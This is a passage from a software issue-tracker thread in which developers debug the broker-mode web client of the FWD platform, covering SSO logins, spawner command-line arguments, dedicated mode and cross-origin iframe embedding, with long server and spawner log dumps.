at com.goldencode.p2j.main.BrokerManager.removeBroker(BrokerManager.java:764)
at com.goldencode.p2j.main.BrokerManager.access$000(BrokerManager.java:93)
at com.goldencode.p2j.main.BrokerManager$1.terminate(BrokerManager.java:126)
at com.goldencode.p2j.net.BaseSession.sendTerminationEvent(BaseSession.java:528)
at com.goldencode.p2j.net.SessionManager.notifyTermination(SessionManager.java:1823)
at com.goldencode.p2j.net.Queue.stop(Queue.java:502)
at com.goldencode.p2j.net.Protocol.stopQueue(Protocol.java:429)
at com.goldencode.p2j.net.Protocol.access$700(Protocol.java:171)
at com.goldencode.p2j.net.Protocol$Reader.run(Protocol.java:533)
at java.lang.Thread.run(Thread.java:750)
#135 Updated by Greg Shah 9 months ago
Sergey Ivanovskiy wrote:
So your setup is ok now. If I do not miss a root cause, then we should somehow allow the cross-origin pages included into our web page via iframe.
Greg, what do you propose to resolve this case?
I have not been following this too closely as the task has been flooded with debug-level details. Please make a proposal.
#136 Updated by Greg Shah 9 months ago
Sergey Ivanovskiy wrote:
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
Roger, please remove sso login and use OS user login. Please watch these directory changes for hotel_gui:
[...]Oh my... So the Sso plugin is not supported for broker clients? I made the changes, and signed in with "fwd/fwd" instead of "hotel/hotel", and it worked. I'm trying to setup the fwddev2 server again.
I think so because SSO plugin has been developed after the broker code.
Propose how to fix this.
#137 Updated by Sergey Ivanovskiy 9 months ago
- Fix NPE #9709-134
- Fix broker mode for SSO enabled plugin #9709-136
- Enable cross-origin support in the case of the broker environment #9709-135
because I do not know if 9709a, where the direct port mapping was implemented #9709-32, #9709-35, is needed or not for running FWD under virtual machine environments.
#138 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
because I do not know if 9709a, where the direct port mapping was implemented #9709-32, #9709-35, is needed or not for running FWD under virtual machine environments.
I notice the logs I mentioned regarding #9709-30 contained the same issues as I saw in #9709-128 (java.security.NoSuchAlgorithmException: no such algorithm: SunX509 for provider Conscrypt). Any relation to #10565 ?
I am not sure of how the 9709a updates should be tested. There is an internal network in Docker that it might need to address, but I am testing in "normal" configuration at this time (with VMs). I am not pursing Docker until I can get this setup properly.
#139 Updated by Sergey Ivanovskiy 9 months ago
Roger Borrello wrote:
I notice the logs I mentioned regarding #9709-30 contained the same issues as I saw in #9709-128 (
java.security.NoSuchAlgorithmException: no such algorithm: SunX509 for provider Conscrypt). Any relation to #10565 ?
Yes, I think that it is #10565 and there is the customer that encountered the same issue. Please see links in #10565.
#140 Updated by Radu Apetrii 9 months ago
Sergey Ivanovskiy wrote:
Roger Borrello wrote:
I notice the logs I mentioned regarding #9709-30 contained the same issues as I saw in #9709-128 (
java.security.NoSuchAlgorithmException: no such algorithm: SunX509 for provider Conscrypt). Any relation to #10565 ?Yes, I think that it is #10565 and there is the customer that encountered the same issue. Please see links in #10565.
We have also seen this appearing on another customer application (task #9524). If there is an explanation/solution, I would be very interested in knowing.
#141 Updated by Roger Borrello 9 months ago
Greg Shah wrote:
Sergey Ivanovskiy wrote:
So your setup is ok now. If I do not miss a root cause, then we should somehow allow the cross-origin pages included into our web page via iframe.
Greg, what do you propose to resolve this case?
I have not been following this too closely as the task has been flooded with debug-level details. Please make a proposal.
To make sure we are on the same page, let's level set. We want to be able to load balance many browser users amongst an assigned set of clients. Is one of these accurate to support 100 users?
http://fwddev2:7443/guihttp://fwddev3:7443/guihttp://fwddev4:7443/guihttp://fwddev5:7443/gui
Each of those hosts would have a broker connecting to fwddev1 (the main server).
Or
We would direct all 100 to one webClient host:http://fwddev1:7443/gui and that would distribute to one of 4 brokers:
fwddev2fwddev3fwddev4fwddev5
Each of those would service 25 users.
#142 Updated by Sergey Ivanovskiy 9 months ago
Radu Apetrii wrote:
Sergey Ivanovskiy wrote:
Roger Borrello wrote:
I notice the logs I mentioned regarding #9709-30 contained the same issues as I saw in #9709-128 (
java.security.NoSuchAlgorithmException: no such algorithm: SunX509 for provider Conscrypt). Any relation to #10565 ?Yes, I think that it is #10565 and there is the customer that encountered the same issue. Please see links in #10565.
We have also seen this appearing on another customer application (task #9524). If there is an explanation/solution, I would be very interested in knowing.
This is somehow related to different network interfaces and this exception is logged only for the network interface that is different from the target one. It needs to do experiments, for an example to start the web server to listen only the target interface.
#143 Updated by Greg Shah 9 months ago
We would direct groups of 25 to one of 4 assigned webClient hosts:
Nope. That would require 4 FWD servers. That is NOT the idea here.
We would direct all 100 to one webClient host: http://fwddev1:7443/gui and that would distribute to one of 4 brokers:
Yep. The clients are the distributed things in this approach.
#144 Updated by Roger Borrello 9 months ago
Roger Borrello wrote:
We would direct all 100 to one webClient host:Sergey, to configure this approach, would we have on each of the broker servers:http://fwddev1:7443/guiand that would distribute to one of 4 brokers:
fwddev2fwddev3fwddev4fwddev5Each of those would service 25 users.
./deploy/broker/broker_client.xmlwithnet:server:host=fwddev1andremote:agent:host=fwddevx(x is server, 2, 3...)
and the fwddev1 directory.xml file contain additional processes for broker2, broker3,...?
My intention is to be able to extend the basic configuration via prepare_dir.sh with appropriate additions to the JSON file for each broker specified. Of course we need to determine what is wrong with the very basic configuration first.
#145 Updated by Sergey Ivanovskiy 9 months ago
Yes, it seems correct.
#146 Updated by Sergey Ivanovskiy 9 months ago
I investigated the Hotel GUI with the broker client and SSO enabled plugin. The broker client correctly delivered all parameters to spawn a new client process:
25/10/17 08:20:20.656+0300 | INFO | com.goldencode.p2j.main.BrokerCore [BrokerCore.spawn()] | ThreadName:main | Command line arguments: [/home/sbi/opt/hotel_gui/spawn, 0, 3333, 192.168.100.28, standard, 778ad91a-4879-4ab4-b7a4-992883408875, net:socket:nio=false, net:ssl:trackSeqNo=false, sbi, "", /home/sbi/projects/hotel_gui/deploy/client, java, -Xmx1G, -Djava.awt.headless=true, -XX:MaxPermSize=64m, -Djava.library.path=/home/sbi/projects/9709b/build/lib/, -Dfile.encoding=UTF-8, -Xdebug, -Xnoagent, -Djava.compiler=NONE, -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n, -classpath, /home/sbi/projects/9709b/build/lib/p2j.jar, com.goldencode.p2j.main.ClientDriver, net:server:host=192.168.100.28, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=3333, sso:subject:id=bogus, sso:storage:id=storage-hotel, server:spawner:uuid=778ad91a-4879-4ab4-b7a4-992883408875, client:web:port=7449, client:web:host=192.168.100.28, client:web:dedicatedMode=false]
but the spawned process recognized only the first up to
server:spawner:uuid=778ad91a-4879-4ab4-b7a4-992883408875 and missed these ones: client:web:host=192.168.100.28 and client:web:dedicatedMode=false:
INFO: Spawn process started with pid 12474.
25/10/17 08:20:20.768+0300 | FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = 192.168.100.28; port = 3333; secure = true;
25/10/17 08:20:20.937+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.100.28:44633 -> 192.168.100.28/192.168.100.28:3333
25/10/17 08:20:20.938+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
25/10/17 08:20:20.938+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/17 08:20:20.939+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/17 08:20:20.939+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/17 08:20:20.940+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
25/10/17 08:20:20.940+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
25/10/17 08:20:20.940+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/17 08:20:20.941+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/17 08:20:20.941+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/17 08:20:20.941+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
25/10/17 08:20:20.941+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
25/10/17 08:20:20.941+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): 'EcO554BBqv88u634'
25/10/17 08:20:21.039+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
25/10/17 08:20:21.041+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
25/10/17 08:20:21.046+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
25/10/17 08:20:21.048+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
25/10/17 08:20:21.049+0300 | FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
25/10/17 08:20:21.049+0300 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (778ad91a-4879-4ab4-b7a4-992883408875)
25/10/17 08:20:21.049+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
25/10/17 08:20:21.051+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[470]
25/10/17 08:20:21.052+0300 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [sbi, "", /home/sbi/projects/hotel_gui/deploy/client, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, server:spawner:uuid=778ad91a-4879-4ab4-b7a4-992883408875]
25/10/17 08:20:21.052+0300 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 3
25/10/17 08:20:21.052+0300 | FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:177)
INFO: The argument number 0 is: sbi.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/sbi/projects/hotel_gui/deploy/client.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx1G.
INFO: The argument number 5 is: -Djava.awt.headless=true.
INFO: The argument number 6 is: -XX:MaxPermSize=64m.
INFO: The argument number 7 is: -Djava.library.path=/home/sbi/projects/9709b/build/lib/.
INFO: The argument number 8 is: -Dfile.encoding=UTF-8.
INFO: The argument number 9 is: -Xdebug.
INFO: The argument number 10 is: -Xnoagent.
INFO: The argument number 11 is: -Djava.compiler=NONE.
INFO: The argument number 12 is: -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n.
INFO: The argument number 13 is: -classpath.
INFO: The argument number 14 is: /home/sbi/projects/9709b/build/lib/p2j.jar.
INFO: The argument number 15 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 16 is: net:server:host=192.168.100.28.
INFO: The argument number 17 is: net:socket:nio=false.
INFO: The argument number 18 is: net:ssl:trackSeqNo=false.
INFO: The argument number 19 is: net:connection:secure=true.
INFO: The argument number 20 is: net:server:secure_port=3333.
INFO: The argument number 21 is: sso:subject:id=bogus.
INFO: The argument number 22 is: sso:storage:id=storage-hotel.
INFO: The argument number 23 is: server:spawner:uuid=778ad91a-4879-4ab4-b7a4-992883408875.
INFO: Check user account for: sbi.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/sbi/projects/hotel_gui/deploy/client).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/sbi/projects/hotel_gui/deploy/client.
OpenJDK 64-Bit Server VM warning: ignoring option MaxPermSize=64m; support was removed in 8.0
so it looks like the spawner has the maximal number of arguments, 24, to be parsed so these ones
sso:subject:id=bogus and sso:storage:id=storage-hotel were delivered but these ones client:web:host=192.168.100.28 and client:web:dedicatedMode=false were missed.#147 Updated by Sergey Ivanovskiy 9 months ago
According the code the spawned process does not read arguments provided with command line directly but delegates
this task to NativeSecureConnection.command and the last one makes the remote call via RemoteSpawner interface to get the prepared command via the server side object ClientBuilder.getCommand to retrieve the command from the server side. Thus WebClientBuilder.addClientOption is important to form addition parameters. The initial user request is processed by WebDriverHandler that should add missed parameters to the cached command via WebClientBuilderParameters.
#148 Updated by Sergey Ivanovskiy 9 months ago
#149 Updated by Sergey Ivanovskiy 9 months ago
- % Done changed from 0 to 50
- Status changed from Review to WIP
#150 Updated by Sergey Ivanovskiy 9 months ago
Greg, it seems that the dedicated mode has no meaning for our new web client because the web client has been included into iframe but previously it was included into new page redirecting http request to new page. The web client in the dedicated mode was not accessed from the external network. Does we need the dedicated web client now?
#152 Updated by Sergey Ivanovskiy 9 months ago
Greg Shah wrote:
Please point me to the documentation for dedicated mode. I don't recall the details.
I found this #3287-72.
#153 Updated by Sergey Ivanovskiy 9 months ago
If I understand correctly the dedicated mode conception, then it means that the spawned web client accepts only local requests so the web client uri has localhost in it host part. Correct?
#155 Updated by Sergey Ivanovskiy 9 months ago
I don't want to remove but dedicatedMode at this moment is assigned via the broker client in its settings. If we continue the support of this mode, then I need to deliver this setting to the server by adding to BrokerClientServices new method boolean getDedicatedMode().
#157 Updated by Sergey Ivanovskiy 9 months ago
Greg Shah wrote:
It is OK to disable dedicated mode. Leave comments behind to make it clear where you have disabled something. Minimize the changes.
It follows from my code search that the changes to disable this feature is more huge than the changes to fix WebClientBuilderParameters.
#159 Updated by Sergey Ivanovskiy 9 months ago
OK. Committed revision 16226 (9709b) fixed dedicatedMode to be correctly passed to the spawned web client.
The rest issue is the issue 3 referenced in #9709-137 that the web client embedded web server should permit to embed its web client page into the web page from the different domain.
#160 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
OK. Committed revision 16226 (9709b) fixed
dedicatedModeto be correctly passed to the spawned web client.The rest issue is the issue 3 referenced in #9709-137 that the web client embedded web server should permit to embed its web client page into the web page from the different domain.
I have tried to test this, and I may have a bad directory.xml configuration, since I am still getting NULL URI. Can you post your directory.xml and broker1_client.xml?
#161 Updated by Sergey Ivanovskiy 9 months ago
Please check that you are using 9709b and post the console log of broker client. The log results should not depend on the directory settings. My environment is set up to use SSO login. You should have similar logs:
sbi@ubuntu:~/projects/hotel_gui/deploy/client$ export TERM=xterm;./client.sh -cbroker1_client.xml
INFO: Spawn process started with pid 37258.
25/10/20 18:26:51.488+0300 | FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = 192.168.100.28; port = 3333; secure = true;
25/10/20 18:26:51.659+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.100.28:34269 -> 192.168.100.28/192.168.100.28:3333
25/10/20 18:26:51.661+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
25/10/20 18:26:51.661+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/20 18:26:51.662+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/20 18:26:51.662+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/20 18:26:51.662+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
25/10/20 18:26:51.662+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
25/10/20 18:26:51.662+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/20 18:26:51.663+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/20 18:26:51.663+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/20 18:26:51.664+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
25/10/20 18:26:51.664+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
25/10/20 18:26:51.664+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): 'ue190q96di06dWc9'
25/10/20 18:26:51.770+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
25/10/20 18:26:51.772+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
25/10/20 18:26:51.777+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
25/10/20 18:26:51.779+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
25/10/20 18:26:51.780+0300 | FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
25/10/20 18:26:51.780+0300 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (f94f16ce-0835-4eae-80a0-8bc68b79d78d)
25/10/20 18:26:51.781+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
25/10/20 18:26:51.783+0300 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[562]
25/10/20 18:26:51.783+0300 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [sbi, "", /home/sbi/projects/hotel_gui/deploy/client, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, client:web:host=192.168.100.28, remote:agent:dedicatedMode=${remote.agent.dedicatedMode}, server:spawner:uuid=f94f16ce-0835-4eae-80a0-8bc68b79d78d]
25/10/20 18:26:51.783+0300 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 3
25/10/20 18:26:51.784+0300 | FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:179)
INFO: The argument number 0 is: sbi.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/sbi/projects/hotel_gui/deploy/client.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx1G.
INFO: The argument number 5 is: -Djava.awt.headless=true.
INFO: The argument number 6 is: -XX:MaxPermSize=64m.
INFO: The argument number 7 is: -Djava.library.path=/home/sbi/projects/9709b/build/lib/.
INFO: The argument number 8 is: -Dfile.encoding=UTF-8.
INFO: The argument number 9 is: -Xdebug.
INFO: The argument number 10 is: -Xnoagent.
INFO: The argument number 11 is: -Djava.compiler=NONE.
INFO: The argument number 12 is: -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n.
INFO: The argument number 13 is: -classpath.
INFO: The argument number 14 is: /home/sbi/projects/9709b/build/lib/p2j.jar.
INFO: The argument number 15 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 16 is: net:server:host=192.168.100.28.
INFO: The argument number 17 is: net:socket:nio=false.
INFO: The argument number 18 is: net:ssl:trackSeqNo=false.
INFO: The argument number 19 is: net:connection:secure=true.
INFO: The argument number 20 is: net:server:secure_port=3333.
INFO: The argument number 21 is: sso:subject:id=bogus.
INFO: The argument number 22 is: sso:storage:id=storage-hotel.
INFO: The argument number 23 is: client:web:host=192.168.100.28.
INFO: The argument number 24 is: remote:agent:dedicatedMode=true.
INFO: The argument number 25 is: server:spawner:uuid=f94f16ce-0835-4eae-80a0-8bc68b79d78d.
INFO: Check user account for: sbi.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/sbi/projects/hotel_gui/deploy/client).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/sbi/projects/hotel_gui/deploy/client.
OpenJDK 64-Bit Server VM warning: ignoring option MaxPermSize=64m; support was removed in 8.0
#162 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
Please check that you are using 9709b and post the console log of broker client. The log results should not depend on the directory settings. My environment is set up to use SSO login. You should have similar logs:
[...]
How is the FINER logging set for the spawner output? I was getting it, now I am not, so I may have reset something.
fwd@fwddev2:~/projects/hotel_gui/deploy/broker$ ../client/client.sh -bc broker1_client.xml INFO: Spawn process started with pid 1541. INFO: The password length(data read): 120(3). INFO: Check user account for: fwd. INFO: The password is not null. INFO: GetSPNam not null, used password from structure. INFO: Attempt to use login with password. INFO: Passwords comparison result: 0. INFO: Spawn cmd (java) in workdir (/home/fwd/projects/hotel_gui/deploy/broker). INFO: Spawn result code: (0). INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/broker.
#163 Updated by Roger Borrello 9 months ago
I put the SSO plug-in back into the directory.xml, and now I get better, but not correct results. I was redirected back to the laptop where I am browsing from (.227).
The server log (fwddev1/192.168.1.241) after I start the broker client contains:
25/10/20 11:55:41.472-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp1376720994-58 | not available host:port localhost/127.0.0.1:7449.
25/10/20 11:55:48.929-0400 | INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp1376720994-58 | Returns the redirect url https://fwddev1:7449/index.html?token=9e78d8ae969b27f179e525f93c4f41a9 as response to GUI client.
25/10/20 11:55:54.523-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [lato,8,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.523-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [lato,8,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.524-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [liberation mono,8,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.525-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [open sans,12,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.525-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [liberation mono,9,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.525-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [lato,9,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.525-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [open sans,9,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.525-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [open sans,8,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.525-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [open sans,10,true,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.525-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [open sans,10,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.525-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [open sans,11,false,false,false,false,0] has no legacy metrics.
25/10/20 11:56:01.326-0400 | INFO | com.goldencode.p2j.persist.DatabaseManager | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus/storage-hotel | Connecting to [hotel]
25/10/20 11:58:15.555-0400 | WARNING | com.goldencode.p2j.persist.lock.LockManager | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | [00000004:00000005:bogus] --> local/hotel/primary: cleaning up 2 leaked record lock(s) for exiting context ({room_type={room_type:30058=SHARE [bogus:00000004], room_type:-9223372036854775808=SHARE [bogus:00000004]}})
25/10/20 11:58:15.618-0400 | WARNING | com.goldencode.p2j.security.SecurityContext | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | SecurityContext.cleanupWorker did not complete properly - the following tokens are still in use: [com.goldencode.p2j.util.Utils$ContextContainer, com.goldencode.p2j.persist.meta.LockTableUpdater$1, com.goldencode.p2j.util.SessionUtils$1, com.goldencode.p2j.util.SessionUtils$2]
25/10/20 11:59:05.298-0400 | INFO | com.goldencode.p2j.main.BrokerManager [BrokerManager.registerBroker()] | ThreadName:Conversation [00000005:broker1_process], Session:00000005, ThreadId:00000006, User:broker1_process | Broker user=broker1_process uuid=a4697c17-60f2-4b33-9619-95f9d621665c registered.
25/10/20 11:59:57.378-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp1376720994-59 | not available host:port fwddev2/192.168.1.162:7449.
25/10/20 12:00:02.797-0400 | INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp1376720994-59 | Returns the redirect url https://192.168.1.227:37347/index.html?token=e3b383841dcfd6781f2af6b22972cff3 as response to GUI client.
The screen on the broker client (fwddev2/192.168.1.162) now has details (what controls that?) and shows:
fwd@fwddev2:~/projects/hotel_gui/deploy/broker$ ../client/client.sh -bc broker1_client.xml
INFO: Spawn process started with pid 1747.
25/10/20 11:59:57.808-0400 | FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = fwddev1; port = 3333; secure = true;
25/10/20 11:59:58.269-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.1.162:41693 -> fwddev1/192.168.1.241:3333
25/10/20 11:59:58.272-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
25/10/20 11:59:58.273-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/20 11:59:58.275-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/20 11:59:58.276-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/20 11:59:58.276-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
25/10/20 11:59:58.277-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
25/10/20 11:59:58.278-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/20 11:59:58.280-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/20 11:59:58.281-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/20 11:59:58.282-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
25/10/20 11:59:58.283-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
25/10/20 11:59:58.284-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): 'Elb26Vq843wn746N'
25/10/20 11:59:58.642-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
25/10/20 11:59:58.647-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
25/10/20 11:59:58.675-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
25/10/20 11:59:58.681-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
25/10/20 11:59:58.684-0400 | FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
